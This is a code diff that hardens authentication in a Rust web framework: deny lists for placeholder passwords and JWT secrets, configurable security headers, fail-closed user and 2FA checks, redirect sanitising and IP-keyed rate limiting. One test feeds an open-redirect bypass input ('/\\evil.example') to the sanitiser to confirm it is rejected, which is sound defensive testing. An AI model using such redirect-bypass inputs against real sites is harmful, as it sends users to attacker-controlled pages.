66 + username: "admin".into(),
67 + email: "admin@localhost".into(),
68 + password,
69 + }
70 + }
71 +
72 + #[test]
73 + fn rejects_literal_password() {
74 + let err = config_with_password(Some("password".into()))
75 + .validate()
76 + .expect_err("literal password must be rejected");
77 + assert_eq!(err.code.as_ref(), "password_placeholder");
78 + }
79 +
80 + #[test]
81 + fn rejects_cli_placeholder_password() {
82 + let err = config_with_password(Some("REMPLACER_PAR_UN_MOT_DE_PASSE_FORT".into()))
83 + .validate()
84 + .expect_err("CLI placeholder password must be rejected");
85 + assert_eq!(err.code.as_ref(), "password_placeholder");
86 + }
87 +
88 + #[test]
89 + fn accepts_strong_password() {
90 + config_with_password(Some("Str0ngEnough".into()))
91 + .validate()
92 + .expect("non-placeholder password of sufficient length must pass");
93 + }
94 +
95 + #[test]
96 + fn accepts_missing_password() {
97 + config_with_password(None)
98 + .validate()
99 + .expect("absent password is generated later");
100 + }
101 +}
M crates/rustwarden-core/src/config/auth.rs
+55 -7
@@ -75,6 +75,18 @@ pub struct AuthConfig {
75 75 pub auth_failure_mode: AuthFailureMode,
76 76 }
77 77
78 +/// Returns `true` when `secret` is an exact match for a known example JWT secret.
79 +pub(crate) fn jwt_secret_is_placeholder(secret: &str) -> bool {
80 + const KNOWN_EXAMPLES: &[&str] = &[
81 + "your-very-secret-jwt-key-change-me-in-production-at-least-32-bytes",
82 + "change-me-in-production",
83 + "super-secret-jwt-key",
84 + "my-secret-key",
85 + "REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE",
86 + ];
87 + KNOWN_EXAMPLES.contains(&secret)
88 +}
89 +
78 90 impl AuthConfig {
79 91 /// Load and validate authentication configuration from environment variables.
80 92 pub fn from_env() -> Result<Self, String> {
@@ -82,13 +94,7 @@ impl AuthConfig {
82 94 .map_err(|_| "JWT_SECRET environment variable is required".to_string())?;
83 95
84 96 // SEC-L1: Reject well-known example/placeholder secrets
85 - const KNOWN_EXAMPLES: &[&str] = &[
86 - "your-very-secret-jwt-key-change-me-in-production-at-least-32-bytes",
87 - "change-me-in-production",
88 - "super-secret-jwt-key",
89 - "my-secret-key",
90 - ];
91 - if KNOWN_EXAMPLES.iter().any(|ex| jwt_secret == *ex) {
97 + if jwt_secret_is_placeholder(&jwt_secret) {
92 98 return Err(
93 99 "JWT_SECRET is set to a known example value. Please generate a unique secret \
94 100 (e.g., `openssl rand -hex 32`)."
@@ -334,3 +340,45 @@ mod tests {
334 340 assert!(AuthFailureMode::from_str("nope").is_err());
335 341 }
336 342 }
343 +
344 +#[cfg(test)]
345 +mod jwt_secret_tests {
346 + use super::jwt_secret_is_placeholder;
347 +
348 + #[test]
349 + fn rejects_cli_placeholder() {
350 + assert!(jwt_secret_is_placeholder(
351 + "REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE"
352 + ));
353 + }
354 +
355 + #[test]
356 + fn rejects_historical_placeholders() {
357 + const HISTORICAL: &[&str] = &[
358 + "your-very-secret-jwt-key-change-me-in-production-at-least-32-bytes",
359 + "change-me-in-production",
360 + "super-secret-jwt-key",
361 + "my-secret-key",
362 + ];
363 + for secret in HISTORICAL {
364 + assert!(
365 + jwt_secret_is_placeholder(secret),
366 + "expected placeholder rejection for {secret}"
367 + );
368 + }
369 + }
370 +
371 + #[test]
372 + fn accepts_passphrase_containing_change_me() {
373 + assert!(!jwt_secret_is_placeholder(
374 + "my-change-me-not-secret-passphrase-2026xxxx"
375 + ));
376 + }
377 +
378 + #[test]
379 + fn accepts_random_hex_64() {
380 + assert!(!jwt_secret_is_placeholder(
381 + "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef"
382 + ));
383 + }
384 +}
M crates/rustwarden-core/src/config/mod.rs
+2 -0
@@ -17,6 +17,8 @@ pub mod oauth;
17 17
18 18 // `FediverseConfig` moved to the `rustwarden-fediverse` crate.
19 19
20 +/// Security response headers configuration (CSP, COOP, CORP — RFC 0039).
21 +pub mod security_headers;
20 22 /// HTTP server configuration (host, port, TLS).
21 23 pub mod server;
22 24 /// Background task scheduler configuration.
A crates/rustwarden-core/src/config/security_headers.rs
+129 -0
@@ -0,0 +1,129 @@
1 +//! Security response headers configuration (RFC 0039).
2 +//!
3 +//! Additive configuration for the security headers middleware wired by
4 +//! `RustwardenApp::builder()`: a configurable `Content-Security-Policy`
5 +//! plus opt-in `Cross-Origin-Opener-Policy` / `Cross-Origin-Resource-Policy`.
6 +//!
7 +//! The [`Default`] implementation is **bit-identical** to the headers
8 +//! shipped since patch 1.0.1: the default CSP keeps `'unsafe-inline'` and
9 +//! `'unsafe-eval'` (required by the stock Alpine.js build used by the admin
10 +//! UI), and COOP/CORP are not emitted at all.
11 +//!
12 +//! The other hardcoded headers (`X-Content-Type-Options`, `X-Frame-Options`,
13 +//! `X-XSS-Protection`, `Referrer-Policy`, `Permissions-Policy`, HSTS) are
14 +//! intentionally **not** configurable here (RFC 0039 non-goals).
15 +
16 +use std::borrow::Cow;
17 +
18 +/// Default CSP shipped since SEC-H1 / 1.0.1. Do not tighten in the first
19 +/// implementation PR (Alpine.js still needs 'unsafe-eval').
20 +pub const DEFAULT_CONTENT_SECURITY_POLICY: &str = "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'";
21 +
22 +/// Candidate default **after** PLAN_CSP_HTMX.md Phase 1 (Alpine CSP build).
23 +/// Not used by [`SecurityHeadersConfig::default`] until Phase 2 of RFC 0039.
24 +pub const CSP_WITHOUT_UNSAFE_EVAL: &str = "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'";
25 +
26 +/// Configurable security headers applied by the framework's security
27 +/// headers middleware (see `RustwardenBuilder::security_headers`).
28 +///
29 +/// # Examples
30 +///
31 +/// ```
32 +/// use rustwarden_core::config::security_headers::{
33 +/// DEFAULT_CONTENT_SECURITY_POLICY, SecurityHeadersConfig,
34 +/// };
35 +///
36 +/// // The default configuration matches the 1.0.1 behaviour exactly:
37 +/// // legacy CSP, no COOP, no CORP.
38 +/// let cfg = SecurityHeadersConfig::default();
39 +/// assert_eq!(cfg.content_security_policy, DEFAULT_CONTENT_SECURITY_POLICY);
40 +/// assert!(cfg.cross_origin_opener_policy.is_none());
41 +/// assert!(cfg.cross_origin_resource_policy.is_none());
42 +///
43 +/// // Opt-in cross-origin isolation (e.g. Gitrust):
44 +/// let isolated = SecurityHeadersConfig::default().with_same_origin_isolation();
45 +/// assert_eq!(isolated.cross_origin_opener_policy.as_deref(), Some("same-origin"));
46 +/// assert_eq!(isolated.cross_origin_resource_policy.as_deref(), Some("same-origin"));
47 +/// ```
48 +#[derive(Clone, Debug)]
49 +pub struct SecurityHeadersConfig {
50 + /// `Content-Security-Policy` value. Default keeps 1.0.1 (unsafe-inline/eval).
51 + pub content_security_policy: Cow<'static, str>,
52 + /// `Cross-Origin-Opener-Policy`. `None` = do not set the header (opt-in).
53 + pub cross_origin_opener_policy: Option<Cow<'static, str>>,
54 + /// `Cross-Origin-Resource-Policy`. `None` = do not set the header (opt-in).
55 + pub cross_origin_resource_policy: Option<Cow<'static, str>>,
56 +}
57 +
58 +impl Default for SecurityHeadersConfig {
59 + fn default() -> Self {
60 + Self {
61 + content_security_policy: Cow::Borrowed(DEFAULT_CONTENT_SECURITY_POLICY),
62 + cross_origin_opener_policy: None,
63 + cross_origin_resource_policy: None,
64 + }
65 + }
66 +}
67 +
68 +impl SecurityHeadersConfig {
69 + /// Opt-in isolation headers commonly used by Gitrust: sets both
70 + /// `Cross-Origin-Opener-Policy` and `Cross-Origin-Resource-Policy`
71 + /// to `same-origin`.
72 + pub fn with_same_origin_isolation(mut self) -> Self {
73 + self.cross_origin_opener_policy = Some(Cow::Borrowed("same-origin"));
74 + self.cross_origin_resource_policy = Some(Cow::Borrowed("same-origin"));
75 + self
76 + }
77 +}
78 +
79 +#[cfg(test)]
80 +mod tests {
81 + use super::*;
82 +
83 + /// Non-drift guard (RFC 0039 testing plan): the default CSP must stay
84 + /// strictly equal to the literal string historically hardcoded in
85 + /// `security_headers_middleware` (app.rs, patch 1.0.1). If this test
86 + /// breaks, the default behaviour changed — that is Phase 2 territory
87 + /// and requires its own PR + CHANGELOG `Security` entry.
88 + #[test]
89 + fn default_csp_matches_the_historical_literal() {
90 + let cfg = SecurityHeadersConfig::default();
91 + assert_eq!(cfg.content_security_policy, DEFAULT_CONTENT_SECURITY_POLICY);
92 + assert_eq!(
93 + cfg.content_security_policy,
94 + "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'"
95 + );
96 + }
97 +
98 + #[test]
99 + fn default_does_not_opt_into_coop_corp() {
100 + let cfg = SecurityHeadersConfig::default();
101 + assert!(cfg.cross_origin_opener_policy.is_none());
102 + assert!(cfg.cross_origin_resource_policy.is_none());
103 + }
104 +
105 + #[test]
106 + fn with_same_origin_isolation_sets_both_headers() {
107 + let cfg = SecurityHeadersConfig::default().with_same_origin_isolation();
108 + assert_eq!(
109 + cfg.cross_origin_opener_policy.as_deref(),
110 + Some("same-origin")
111 + );
112 + assert_eq!(
113 + cfg.cross_origin_resource_policy.as_deref(),
114 + Some("same-origin")
115 + );
116 + // The CSP is untouched by the isolation helper.
117 + assert_eq!(cfg.content_security_policy, DEFAULT_CONTENT_SECURITY_POLICY);
118 + }
119 +
120 + /// The Phase 2 candidate constant only differs from the default by the
121 + /// removal of `'unsafe-eval'` — keep them from drifting apart.
122 + #[test]
123 + fn phase2_candidate_is_default_without_unsafe_eval() {
124 + assert_eq!(
125 + DEFAULT_CONTENT_SECURITY_POLICY.replace(" 'unsafe-eval'", ""),
126 + CSP_WITHOUT_UNSAFE_EVAL
127 + );
128 + }
129 +}
M crates/rustwarden-core/src/lib.rs
+3 -0
@@ -51,6 +51,7 @@ pub mod prelude {
51 51 pub use crate::app::RustwardenApp;
52 52 pub use crate::auth::extractors::AuthUser;
53 53 pub use crate::auth::jwt::{Claims, JwtService};
54 + pub use crate::config::security_headers::SecurityHeadersConfig;
54 55 pub use crate::error::AppError;
55 56 pub use crate::hooks::RustwardenHooks;
56 57 pub use crate::notifications::sse::sse_response;
@@ -62,6 +63,8 @@ pub mod prelude {
62 63 pub use crate::services::role_service::RoleService;
63 64 pub use crate::services::team_service::{TeamRole, TeamService};
64 65 pub use crate::services::user_service::UserService;
66 + pub use crate::tasks::pending_email_change_cleanup::PendingEmailChangeCleanupProcessor;
65 67 pub use crate::tasks::personal_token_cleanup::PersonalTokenCleanupProcessor;
66 68 pub use crate::types::TeamSlug;
69 + pub use crate::types::Username;
67 70 }
M crates/rustwarden-core/src/middleware/admin_required.rs
+6 -4
@@ -113,10 +113,12 @@ pub async fn admin_required_impl(
113 113 Some(claims) => claims,
114 114 None => {
115 115 tracing::warn!("Unauthenticated access attempt to admin route: {}", uri);
116 - return Ok(crate::middleware::auth_service::auth_failure_from_extensions(
117 - request.extensions(),
118 - &uri,
119 - ));
116 + return Ok(
117 + crate::middleware::auth_service::auth_failure_from_extensions(
118 + request.extensions(),
119 + &uri,
120 + ),
121 + );
120 122 }
121 123 };
122 124
M crates/rustwarden-core/src/middleware/auth_service.rs
+188 -63
@@ -27,7 +27,7 @@ use crate::config::auth::{AuthConfig, AuthFailureMode};
27 27 /// hard-wired to `rustwarden-ui`'s `/login`. The original target is preserved
28 28 /// in a `redirect` query parameter when it is a safe relative path.
29 29 pub(crate) fn sanitize_redirect(uri: &str, login_path: &str) -> String {
30 - let path = uri.to_string();
30 + let path = uri.replace('\\', "/");
31 31 if path.starts_with('/') && !path.starts_with("//") && !path.contains('\0') {
32 32 format!("{login_path}?redirect={}", urlencoding::encode(&path))
33 33 } else {
@@ -78,6 +78,46 @@ pub(crate) fn auth_failure_from_extensions(
78 78 }
79 79 }
80 80
81 +/// Fail-closed outcome of a SeaORM `find_by_id` (or equivalent) user lookup.
82 +#[derive(Debug, Clone, Copy, PartialEq, Eq)]
83 +pub(crate) enum UserLookup {
84 + /// A row was found; the caller still owns the `Model`.
85 + Found,
86 + /// No row: treat as unauthenticated (deleted user + leftover JWT).
87 + Missing,
88 + /// Database error: refuse the request (503).
89 + Unavailable,
90 +}
91 +
92 +/// Map a SeaORM lookup result to a fail-closed auth decision.
93 +pub(crate) fn map_user_lookup<T, E>(result: Result<Option<T>, E>) -> UserLookup {
94 + match result {
95 + Ok(Some(_)) => UserLookup::Found,
96 + Ok(None) => UserLookup::Missing,
97 + Err(_) => UserLookup::Unavailable,
98 + }
99 +}
100 +
101 +/// Fail-closed outcome of a forced-2FA TOTP status check.
102 +#[derive(Debug, Clone, Copy, PartialEq, Eq)]
103 +pub(crate) enum TotpGate {
104 + /// User already has TOTP enabled; continue.
105 + Allow,
106 + /// Forced 2FA is on and the user has not enrolled; redirect to setup.
107 + RedirectSetup,
108 + /// Database error: refuse the request (503).
109 + Unavailable,
110 +}
111 +
112 +/// Map `TotpService::is_totp_enabled` to a fail-closed forced-2FA decision.
113 +pub(crate) fn totp_force_gate(result: Result<bool, impl std::fmt::Display>) -> TotpGate {
114 + match result {
115 + Ok(true) => TotpGate::Allow,
116 + Ok(false) => TotpGate::RedirectSetup,
117 + Err(_) => TotpGate::Unavailable,
118 + }
119 +}
120 +
81 121 /// Tower middleware that injects the authenticated user into request extensions.
82 122 ///
83 123 /// The middleware splits incoming requests into two branches based on
@@ -229,12 +269,12 @@ where
229 269 }
230 270 };
231 271
232 - if JwtBlacklistService::is_blacklisted(&db, &jwt_token)
233 - .await
234 - .is_ok_and(|b| b)
235 - {
236 - tracing::warn!("AuthService: JWT token is blacklisted");
237 - return Ok(auth_failure_response(&auth_config, &uri));
272 + match JwtBlacklistService::is_blacklisted(&db, &jwt_token).await {
273 + Ok(true) | Err(_) => {
274 + tracing::warn!("AuthService: JWT token is blacklisted");
275 + return Ok(auth_failure_response(&auth_config, &uri));
276 + }
277 + Ok(false) => {}
238 278 }
239 279
240 280 let claims = match JwtService::validate_token(&auth_config, &jwt_token) {
@@ -281,67 +321,104 @@ where
281 321 let headers = &parts.headers;
282 322 let client_ip = extract_client_ip(headers);
283 323
284 - if let Ok(Some(user_model)) = user::Entity::find_by_id(user_id).one(&db).await {
285 - let must_change = user_model.must_change_password;
286 -
287 - let mut user_active: user::ActiveModel = user_model.into();
288 - user_active.last_login_at = Set(Some(Utc::now()));
289 - if let Some(ip) = client_ip {
290 - user_active.last_login_ip = Set(Some(ip));
324 + let lookup = user::Entity::find_by_id(user_id).one(&db).await;
325 + match map_user_lookup(lookup.as_ref().map(|row| row.as_ref())) {
326 + UserLookup::Unavailable => {
327 + if let Err(e) = &lookup {
328 + tracing::error!(
329 + %user_id,
330 + error = %e,
331 + "user lookup failed (fail-closed)"
332 + );
333 + }
334 + return Ok((StatusCode::SERVICE_UNAVAILABLE, "Internal server error")
335 + .into_response());
291 336 }
292 -
293 - if let Err(e) = user_active.update(&db).await {
294 - tracing::warn!(
295 - "Failed to update last_login for user {}: {}",
296 - user_id,
297 - e
298 - );
299 - } else {
300 - tracing::debug!("Updated last_login for user {}", user_id);
337 + UserLookup::Missing => {
338 + return Ok(auth_failure_response(&auth_config, &uri));
301 339 }
340 + UserLookup::Found => {
341 + let Ok(Some(user_model)) = lookup else {
342 + return Ok((
343 + StatusCode::SERVICE_UNAVAILABLE,
344 + "Internal server error",
345 + )
346 + .into_response());
347 + };
302 348
303 - if must_change && !path.starts_with("/settings/password") {
304 - tracing::info!(
305 - "User {} must change password, redirecting from {}",
306 - user_id,
307 - path
308 - );
309 - return Ok(axum::response::Redirect::to(
310 - "/settings/password?must_change=true",
311 - )
312 - .into_response());
313 - }
349 + let must_change = user_model.must_change_password;
314 350
315 - // Check if 2FA is forced globally and user hasn't set it up
316 - if !path.starts_with("/settings/security")
317 - && !path.starts_with("/api/v1/auth")
318 - {
319 - let totp_force_enabled = crate::services::app_settings_service::AppSettingsService::get_bool_with_fallback(
320 - &db,
321 - &["totp_force_enabled"],
322 - false,
323 - )
324 - .await
325 - .unwrap_or(false);
351 + let mut user_active: user::ActiveModel = user_model.into();
352 + user_active.last_login_at = Set(Some(Utc::now()));
353 + if let Some(ip) = client_ip {
354 + user_active.last_login_ip = Set(Some(ip));
355 + }
326 356
327 - if totp_force_enabled {
328 - let totp_enabled =
329 - crate::services::totp_service::TotpService::is_totp_enabled(
357 + if let Err(e) = user_active.update(&db).await {
358 + tracing::warn!(
359 + "Failed to update last_login for user {}: {}",
360 + user_id,
361 + e
362 + );
363 + } else {
364 + tracing::debug!("Updated last_login for user {}", user_id);
365 + }
366 +
367 + if must_change && !path.starts_with("/settings/password") {
368 + tracing::info!(
369 + "User {} must change password, redirecting from {}",
370 + user_id,
371 + path
372 + );
373 + return Ok(Redirect::to("/settings/password?must_change=true")
374 + .into_response());
375 + }
376 +
377 + // Check if 2FA is forced globally and user hasn't set it up
378 + if !path.starts_with("/settings/security")
379 + && !path.starts_with("/api/v1/auth")
380 + {
381 + let totp_force_enabled = crate::services::app_settings_service::AppSettingsService::get_bool_with_fallback(
382 + &db,
383 + &["totp_force_enabled"],
384 + false,
385 + )
386 + .await
387 + .unwrap_or(false);
388 +
389 + if totp_force_enabled {
390 + let totp_result = crate::services::totp_service::TotpService::is_totp_enabled(
330 391 &db, user_id,
331 392 )
332 - .await
333 - .unwrap_or(false);
334 -
335 - if !totp_enabled {
336 - tracing::info!(
337 - "User {} must setup 2FA, redirecting from {}",
338 - user_id,
339 - path
340 - );
341 - return Ok(axum::response::Redirect::to(
342 - "/settings/security?force_2fa=true",
343 - )
344 - .into_response());
393 + .await;
394 + if let Err(ref e) = totp_result {
395 + tracing::error!(
396 + %user_id,
397 + error = %e,
398 + "TOTP status lookup failed (fail-closed)"
399 + );
400 + }
401 + match totp_force_gate(totp_result) {
402 + TotpGate::Allow => {}
403 + TotpGate::RedirectSetup => {
404 + tracing::info!(
405 + "User {} must setup 2FA, redirecting from {}",
406 + user_id,
407 + path
408 + );
409 + return Ok(Redirect::to(
410 + "/settings/security?force_2fa=true",
411 + )
412 + .into_response());
413 + }
414 + TotpGate::Unavailable => {
415 + return Ok((
416 + StatusCode::SERVICE_UNAVAILABLE,
417 + "Internal server error",
418 + )
419 + .into_response());
420 + }
421 + }
345 422 }
346 423 }
347 424 }
@@ -427,7 +504,10 @@ where
427 504
428 505 #[cfg(test)]
429 506 mod tests {
430 - use super::{auth_failure_response, sanitize_redirect};
507 + use super::{
508 + TotpGate, UserLookup, auth_failure_response, map_user_lookup, sanitize_redirect,
509 + totp_force_gate,
510 + };
431 511 use crate::config::auth::{AuthConfig, AuthFailureMode, SessionBackend};
432 512 use axum::http::{StatusCode, Uri, header::LOCATION};
433 513
@@ -476,9 +556,18 @@ mod tests {
476 556 }
477 557
478 558 #[test]
559 + fn sanitize_redirect_rejects_backslash_trick() {
560 + let out = sanitize_redirect("/\\evil.example", "/login");
561 + assert_eq!(out, "/login");
562 + }
563 +
564 + #[test]
479 565 fn auth_failure_redirect_mode_points_to_configured_login_path() {
480 566 let uri: Uri = "/settings".parse().unwrap();
481 - let resp = auth_failure_response(&test_config(AuthFailureMode::Redirect, "/auth/signin"), &uri);
567 + let resp = auth_failure_response(
568 + &test_config(AuthFailureMode::Redirect, "/auth/signin"),
569 + &uri,
570 + );
482 571 assert_eq!(resp.status(), StatusCode::SEE_OTHER);
483 572 let location = resp
484 573 .headers()
@@ -498,4 +587,40 @@ mod tests {
498 587 assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
499 588 assert!(resp.headers().get(LOCATION).is_none());
500 589 }
590 +
591 + #[test]
592 + fn map_user_lookup_found_when_row_present() {
593 + let result: Result<Option<()>, &str> = Ok(Some(()));
594 + assert_eq!(map_user_lookup(result), UserLookup::Found);
595 + }
596 +
597 + #[test]
598 + fn map_user_lookup_missing_when_no_row() {
599 + let result: Result<Option<()>, &str> = Ok(None);
600 + assert_eq!(map_user_lookup(result), UserLookup::Missing);
601 + }
602 +
603 + #[test]
604 + fn map_user_lookup_unavailable_on_error() {
605 + let result: Result<Option<()>, &str> = Err("db down");
606 + assert_eq!(map_user_lookup(result), UserLookup::Unavailable);
607 + }
608 +
609 + #[test]
610 + fn totp_force_gate_allows_when_enabled() {
611 + let result: Result<bool, &str> = Ok(true);
612 + assert_eq!(totp_force_gate(result), TotpGate::Allow);
613 + }
614 +
615 + #[test]
616 + fn totp_force_gate_redirects_when_not_enrolled() {
617 + let result: Result<bool, &str> = Ok(false);
618 + assert_eq!(totp_force_gate(result), TotpGate::RedirectSetup);
619 + }
620 +
621 + #[test]
622 + fn totp_force_gate_unavailable_on_error() {
623 + let result: Result<bool, &str> = Err("db down");
624 + assert_eq!(totp_force_gate(result), TotpGate::Unavailable);
625 + }
501 626 }
M crates/rustwarden-core/src/middleware/password_complexity.rs
+21 -0
@@ -169,6 +169,27 @@ mod tests {
169 169 assert!(rules.validate("password123").is_err());
170 170 assert!(rules.validate("PASSWORD123").is_err());
171 171 assert!(rules.validate("Password").is_err());
172 + assert!(rules.validate("a").is_err());
173 + assert!(rules.validate("password").is_err());
174 + }
175 +
176 + #[test]
177 + fn default_rules_reject_single_letter_and_password_literal() {
178 + let rules = PasswordRules::default();
179 + assert!(rules.validate("a").is_err());
180 + assert!(rules.validate("password").is_err());
181 + }
182 +
183 + #[test]
184 + fn default_rules_reject_password_literal() {
185 + let rules = PasswordRules::default();
186 + assert!(rules.validate("password").is_err());
187 + }
188 +
189 + #[test]
190 + fn default_rules_accept_mixed() {
191 + let rules = PasswordRules::default();
192 + assert!(rules.validate("CorrectHorse1").is_ok());
172 193 }
173 194
174 195 #[test]
M crates/rustwarden-core/src/middleware/rate_limit.rs
+91 -7
@@ -118,11 +118,11 @@ fn trusted_proxy_hops() -> usize {
118 118 })
119 119 }
120 120
121 -/// SEC-H3: Extract the real client IP, respecting TRUSTED_PROXY_HOPS.
122 -/// When TRUSTED_PROXY_HOPS > 0, takes the Nth IP from the right of X-Forwarded-For.
123 -/// Otherwise falls back to the direct connection IP.
124 -fn extract_ip_from_xff_or_connect(xff: Option<&str>, connect_ip: Option<String>) -> String {
125 - let hops = trusted_proxy_hops();
121 +/// Pick the client IP from `X-Forwarded-For` and/or the direct connection.
122 +///
123 +/// `hops` is the number of trusted reverse-proxy hops (0 = ignore XFF).
124 +/// When `hops > 0`, takes the Nth IP from the **right** of the XFF list.
125 +fn extract_ip(xff: Option<&str>, connect: Option<String>, hops: usize) -> String {
126 126 if hops > 0 {
127 127 if let Some(xff_value) = xff {
128 128 let ips: Vec<&str> = xff_value.split(',').map(|s| s.trim()).collect();
@@ -131,7 +131,14 @@ fn extract_ip_from_xff_or_connect(xff: Option<&str>, connect_ip: Option<String>)
131 131 }
132 132 }
133 133 }
134 - connect_ip.unwrap_or_else(|| "unknown".to_string())
134 + connect.unwrap_or_else(|| "unknown".to_string())
135 +}
136 +
137 +/// SEC-H3: Extract the real client IP, respecting TRUSTED_PROXY_HOPS.
138 +/// When TRUSTED_PROXY_HOPS > 0, takes the Nth IP from the right of X-Forwarded-For.
139 +/// Otherwise falls back to the direct connection IP.
140 +fn extract_ip_from_xff_or_connect(xff: Option<&str>, connect_ip: Option<String>) -> String {
141 + extract_ip(xff, connect_ip, trusted_proxy_hops())
135 142 }
136 143
137 144 /// Extract IP address from Request (uses ConnectInfo when available)
@@ -143,7 +150,14 @@ pub fn extract_client_ip(request: &Request) -> String {
143 150 let connect_ip = request
144 151 .extensions()
145 152 .get::<axum::extract::ConnectInfo<std::net::SocketAddr>>()
146 - .map(|ci| ci.0.ip().to_string());
153 + .map(|ci| ci.0.ip().to_string())
154 + .or_else(|| {
155 + // `MockConnectInfo` stores itself, not `ConnectInfo` (axum 0.8).
156 + request
157 + .extensions()
158 + .get::<axum::extract::connect_info::MockConnectInfo<std::net::SocketAddr>>()
159 + .map(|mock| mock.0.ip().to_string())
160 + });
147 161 extract_ip_from_xff_or_connect(xff, connect_ip)
148 162 }
149 163
@@ -201,6 +215,19 @@ pub fn check_auth_rate_limit(headers: &axum::http::HeaderMap) -> Result<(), Resp
201 215 }
202 216 }
203 217
218 +/// Per-IP rate-limit layer for authentication endpoints.
219 +///
220 +/// Uses [`extract_client_ip`] so the key comes from `ConnectInfo` when
221 +/// `TRUSTED_PROXY_HOPS` is 0 (the default), rather than collapsing every
222 +/// request into a global `auth:unknown` bucket.
223 +pub(crate) async fn auth_ip_rate_limit(request: Request, next: Next) -> Response {
224 + let ip = extract_client_ip(&request);
225 + match auth_limiter().check(&format!("auth:{ip}"), auth_max_per_minute()) {
226 + Ok(()) => next.run(request).await,
227 + Err(err) => err.into_response(),
228 + }
229 +}
230 +
204 231 #[cfg(test)]
205 232 mod tests {
206 233 use super::*;
@@ -234,4 +261,61 @@ mod tests {
234 261 rl.check("share:9.9.9.9", 3)
235 262 .expect("distinct IP must not share the other IP's budget");
236 263 }
264 +
265 + #[test]
266 + fn extract_client_ip_uses_connect_info_without_xff() {
267 + let mut request = Request::builder()
268 + .uri("/")
269 + .body(axum::body::Body::empty())
270 + .expect("request");
271 + request
272 + .extensions_mut()
273 + .insert(axum::extract::ConnectInfo(std::net::SocketAddr::from((
274 + [203, 0, 113, 1],
275 + 12345,
276 + ))));
277 + assert_eq!(extract_client_ip(&request), "203.0.113.1");
278 + }
279 +
280 + #[test]
281 + fn extract_client_ip_uses_mock_connect_info_without_xff() {
282 + let mut request = Request::builder()
283 + .uri("/")
284 + .body(axum::body::Body::empty())
285 + .expect("request");
286 + request
287 + .extensions_mut()
288 + .insert(axum::extract::connect_info::MockConnectInfo(
289 + std::net::SocketAddr::from(([203, 0, 113, 1], 12345)),
290 + ));
291 + assert_eq!(extract_client_ip(&request), "203.0.113.1");
292 + }
293 +
294 + #[test]
295 + fn hops_zero_uses_connect_not_xff() {
296 + assert_eq!(
297 + extract_ip(Some("1.2.3.4"), Some("10.0.0.9".into()), 0),
298 + "10.0.0.9"
299 + );
300 + }
301 +
302 + #[test]
303 + fn hops_one_takes_rightmost_xff() {
304 + assert_eq!(
305 + extract_ip(Some("1.2.3.4, 5.6.7.8"), Some("10.0.0.9".into()), 1),
306 + "5.6.7.8"
307 + );
308 + }
309 +
310 + #[test]
311 + fn hops_two_takes_second_from_right() {
312 + assert_eq!(
313 + extract_ip(
314 + Some("1.2.3.4, 5.6.7.8, 9.9.9.9"),
315 + Some("10.0.0.9".into()),
316 + 2
317 + ),
318 + "5.6.7.8"
319 + );
320 + }
237 321 }
A crates/rustwarden-core/src/migrations/m20260918_000010_totp_last_used_step.rs
+48 -0
@@ -0,0 +1,48 @@
1 +//! Migration `m20260918_000010_totp_last_used_step`.
2 +//!
3 +//! RFC 0037: adds the nullable `user_totp.last_used_step` column used to
4 +//! persist the TOTP anti-replay guard across replicas. The column stores
5 +//! the last TOTP time-step (`unix_epoch / 30`) successfully consumed for
6 +//! the user; a conditional `UPDATE` (compare-and-set) in `TotpService`
7 +//! rejects any step that is not strictly greater.
8 +//!
9 +//! `NULL` means no code has been consumed since this column exists, so
10 +//! the first code presented after the migration is always accepted
11 +//! (grandfathering of existing rows).
12 +
13 +use sea_orm_migration::prelude::*;
14 +
15 +/// Adds the nullable `last_used_step BIGINT` column to `user_totp` (RFC 0037).
16 +#[derive(DeriveMigrationName)]
17 +pub struct Migration;
18 +
19 +#[async_trait::async_trait]
20 +impl MigrationTrait for Migration {
21 + async fn up(&self, manager: &SchemaManager) -> Result<(), DbErr> {
22 + manager
23 + .alter_table(
24 + Table::alter()
25 + .table(UserTotp::Table)
26 + .add_column(ColumnDef::new(UserTotp::LastUsedStep).big_integer().null())
27 + .to_owned(),
28 + )
29 + .await
30 + }
31 +
32 + async fn down(&self, manager: &SchemaManager) -> Result<(), DbErr> {
33 + manager
34 + .alter_table(
35 + Table::alter()
36 + .table(UserTotp::Table)
37 + .drop_column(UserTotp::LastUsedStep)
38 + .to_owned(),
39 + )
40 + .await
41 + }
42 +}
43 +
44 +#[derive(DeriveIden)]
45 +enum UserTotp {
46 + Table,
47 + LastUsedStep,
48 +}
A crates/rustwarden-core/src/migrations/m20260919_000011_pending_email_changes.rs
+238 -0
@@ -0,0 +1,238 @@
1 +use sea_orm_migration::prelude::*;
2 +
3 +/// Migration: creates the `pending_email_changes` table (RFC 0041).
4 +#[derive(DeriveMigrationName)]
5 +pub struct Migration;
6 +
7 +#[async_trait::async_trait]
8 +impl MigrationTrait for Migration {
9 + async fn up(&self, manager: &SchemaManager) -> Result<(), DbErr> {
10 + // Table: pending_email_changes (two-step email change, RFC 0041)
11 + //
12 + // A row holds an email-change request that has NOT been applied yet:
13 + // `users.email` keeps its current — verified — value until the
14 + // confirmation token mailed to `new_email` is submitted. Two distinct
15 + // SHA-256 hashes are stored: `token_hash` (confirmation, mailed to the
16 + // candidate address) and `report_token_hash` (abuse report, mailed to
17 + // the account's current address). Two secrets, two capabilities.
18 + manager
19 + .create_table(
20 + Table::create()
21 + .table(PendingEmailChanges::Table)
22 + .if_not_exists()
23 + .col(
24 + ColumnDef::new(PendingEmailChanges::Id)
25 + .uuid()
26 + .not_null()
27 + .primary_key(),
28 + )
29 + .col(
30 + ColumnDef::new(PendingEmailChanges::UserId)
31 + .uuid()
32 + .not_null(),
33 + )
34 + .col(
35 + ColumnDef::new(PendingEmailChanges::NewEmail)
36 + .string()
37 + .string_len(255) // same length as users.email
38 + .not_null(),
39 + )
40 + .col(
